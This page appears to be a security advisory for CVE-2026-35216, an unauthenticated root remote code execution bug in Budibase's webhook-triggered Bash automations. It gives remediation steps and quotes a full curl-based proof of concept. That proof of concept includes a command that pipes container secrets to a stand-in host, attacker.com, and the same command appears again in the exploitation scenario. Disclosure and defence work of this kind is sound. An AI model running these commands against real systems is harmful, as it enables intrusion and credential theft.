CVE-2026-35216: Budibase: Unauthenticated RCE as root via webhook

GHSA-fcm4-4pj2-m5hf CRITICAL PoC AVAILABLE CISA: ATTEND
Published April 4, 2026
CISO Take

Any self-hosted Budibase instance with a Webhook+Bash automation containing template variables is fully compromised from the internet with zero credentials. Patch to v3.33.4 immediately; if patching is blocked, restrict /api/webhooks/trigger/* at the WAF/reverse-proxy layer and rotate all container secrets. This is a drop-everything vulnerability — root RCE with trivial exploitation and full credential exfiltration in a single curl command.

What is the risk?

CVSS 9.1 Critical understates the operational risk: exploitation requires only a publicly accessible Budibase port and knowledge of an app ID and webhook ID, both semi-enumerable from the UI or leaked configs. No authentication, no user interaction, no special tooling — one curl command achieves root-level code execution and exfiltrates every secret in the container (JWT signing key, database passwords, MinIO keys, internal API key). The precondition (an admin-created webhook+bash automation with template variables) is a documented, encouraged workflow, making affected deployments likely widespread across production environments.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
@budibase/server npm < 3.33.4 3.33.4

Do you use @budibase/server? You're affected.

Severity & Risk

CVSS 3.1
9.1 / 10
EPSS
0.8%
chance of exploitation in 30 days
Higher than 74% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV AC PR UI S C I A
AV Network
AC High
PR None
UI None
S Changed
C High
I High
A High

What should I do?

6 steps
  1. PATCH

    Upgrade @budibase/server to >= 3.33.4 immediately — this is the only complete fix.

  2. WORKAROUND (if patch is blocked): Block or require authentication on /api/webhooks/trigger/* at the reverse proxy or WAF level; restrict to known IP ranges.

  3. AUDIT

    Enumerate all automations with EXECUTE_BASH steps that reference webhook trigger field templates (e.g., {{ trigger.* }}); remove template variable substitution or disable the automation.

  4. ROTATE SECRETS

    Assume JWT_SECRET, CouchDB credentials, Redis password, MinIO keys, and INTERNAL_API_KEY are compromised if exposure is possible. Rotate all immediately.

  5. DETECT

    Alert on unexpected outbound connections from Budibase containers. Search container logs for execSync or bash step execution with external network calls. Review /api/webhooks/trigger/* access logs for anomalous POST requests.

  6. SCOPE

    If containers run with --privileged or have sensitive host volume mounts, perform full host forensics — container escape is viable with root access.

CISA SSVC Assessment

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.5 - AI system security in development and operation A.9.3 - Protection of AI system resources
NIST AI RMF
GOVERN-6.2 - Organizational risk management policies cover AI risks MANAGE-2.2 - Mechanisms to respond to AI risks
OWASP LLM Top 10
LLM08:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-35216?

Any self-hosted Budibase instance with a Webhook+Bash automation containing template variables is fully compromised from the internet with zero credentials. Patch to v3.33.4 immediately; if patching is blocked, restrict /api/webhooks/trigger/* at the WAF/reverse-proxy layer and rotate all container secrets. This is a drop-everything vulnerability — root RCE with trivial exploitation and full credential exfiltration in a single curl command.

Is CVE-2026-35216 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-35216, increasing the risk of exploitation.

How to fix CVE-2026-35216?

1. PATCH: Upgrade @budibase/server to >= 3.33.4 immediately — this is the only complete fix. 2. WORKAROUND (if patch is blocked): Block or require authentication on /api/webhooks/trigger/* at the reverse proxy or WAF level; restrict to known IP ranges. 3. AUDIT: Enumerate all automations with EXECUTE_BASH steps that reference webhook trigger field templates (e.g., {{ trigger.* }}); remove template variable substitution or disable the automation. 4. ROTATE SECRETS: Assume JWT_SECRET, CouchDB credentials, Redis password, MinIO keys, and INTERNAL_API_KEY are compromised if exposure is possible. Rotate all immediately. 5. DETECT: Alert on unexpected outbound connections from Budibase containers. Search container logs for execSync or bash step execution with external network calls. Review /api/webhooks/trigger/* access logs for anomalous POST requests. 6. SCOPE: If containers run with --privileged or have sensitive host volume mounts, perform full host forensics — container escape is viable with root access.

What systems are affected by CVE-2026-35216?

This vulnerability affects the following AI/ML architecture patterns: AI automation platforms, low-code AI workflow builders, self-hosted AI agent frameworks, internal data pipeline orchestration, RAG ingestion pipelines.

What is the CVSS score for CVE-2026-35216?

CVE-2026-35216 has a CVSS v3.1 base score of 9.1 (CRITICAL). The EPSS exploitation probability is 0.81%.

Technical Details

NVD Description

### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container. ### Details **Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:** ```typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) ``` The webhook trigger endpoint is registered on `publicRoutes` with **no authentication middleware**. Any unauthenticated HTTP client can POST to this endpoint. **Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:** ```typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString() ``` The Bash automation step uses Handlebars template processing (`processStringSync`) on `inputs.code`, substituting values from the webhook request body into the shell command string before passing it to `execSync()`. **Attack chain:** ``` HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTE_BASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" }) ↓ execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT ``` **Precondition:** An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`) This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks. **Note on EXECUTE_BASH availability:** The bash step is only registered when `SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments: ```typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELF_HOSTED) { ACTION_IMPLS["EXECUTE_BASH"] = bash.run BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition } ``` **Webhook context flattening** (why `{{ trigger.cmd }}` works): In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations the `params.fields` are spread directly into the trigger context: ```typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } } ``` This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}` in the bash step template. ### PoC #### Environment ``` Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE ``` --- #### PHASE 1 — Admin Setup (performed once by legitimate admin) > **Note:** This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure. **Step 1 — Authenticate as admin:** ```bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "admin@company.com", "password": "adminpassword" }' # Expected response: # {"message":"Login successful"} ``` **Step 2 — Create an application:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }' # Note the appId from the response, e.g.: # "appId": "app_dev_c999265f6f984e3aa986788723984cd5" APP_ID="app_dev_c999265f6f984e3aa986788723984cd5" ``` **Step 3 — Create automation with Webhook trigger + Bash step:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger_1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bash_step_1", "name": "Bash Scripting", "stepId": "EXECUTE_BASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }' # Note the automation _id from response, e.g.: # "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... } AUTO_ID="au_b713759f83f64efda067e17b65545fce" ``` **Step 4 — Enable the automation** (new automations start as disabled): ```bash # Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \ -H "x-budibase-app-id: $APP_ID") # Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ") curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "$UPDATED" ``` **Step 5 — Create webhook linked to the automation:** ```bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTO_ID\" } }" # Note the webhook _id from response, e.g.: # "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... } WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" ``` **Step 6 — Publish the app to production:** ```bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \ -H "x-budibase-app-id: $APP_ID" # Expected: {"status":"SUCCESS","appUrl":"/myapp"} # Production App ID = strip "dev_" from dev ID: # app_dev_c999265f... → app_c999265f... PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" ``` --- #### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED) The attacker only needs the production `app_id` and `webhook_id`. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering **Step 7 — Basic RCE — whoami/id:** ```bash PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000" # NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}' # HTTP Response (immediate): # {"message":"Webhook trigger fired successfully"} # Command executes asynchronously inside container as root. # Output confirmed via container inspection or exfiltration. ``` **Step 8 — Exfiltrate all secrets:** ```bash curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}' ``` Confirmed secrets leaked (no auth): ``` JWT_SECRET=testsecret API_ENCRYPTION_KEY=testsecret COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984 REDIS_PASSWORD=budibase REDIS_URL=redis-service:6379 MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase INTERNAL_API_KEY=budibase LITELLM_MASTER_KEY=budibase ``` ### Impact - **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. - **What can an attacker do:** - Execute arbitrary OS commands as `root` inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user - Potentially escape the container if `--privileged` or volume mounts are used - **Authentication required:** **None** — completely unauthenticated - **User interaction required:** **None** - **Network access required:** Only access to port 10000 (the Budibase proxy port) Discovered By: Abdulrahman Albatel Abdullah Alrasheed

Exploitation Scenario

An attacker scans for Budibase instances (port 10000 commonly exposed on internal networks or through misconfigured firewalls). They identify a target via Shodan, leaked infrastructure docs, or internal network enumeration. App IDs appear in the web UI URL scheme; webhook IDs can be guessed, brute-forced, or obtained via social engineering. Without any credentials, the attacker POSTs {"cmd":"env | grep -E 'JWT|SECRET|PASSWORD|KEY' | curl -s -X POST https://attacker.com/collect -d @-"} to /api/webhooks/trigger/{appId}/{webhookId}, instantly receiving every container secret. With JWT_SECRET in hand, they forge admin tokens, exfiltrate all application data from CouchDB, and establish a reverse shell for persistent access — all before a SOC alert fires.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
April 4, 2026
Last Modified
April 4, 2026
First Seen
April 4, 2026

Related Vulnerabilities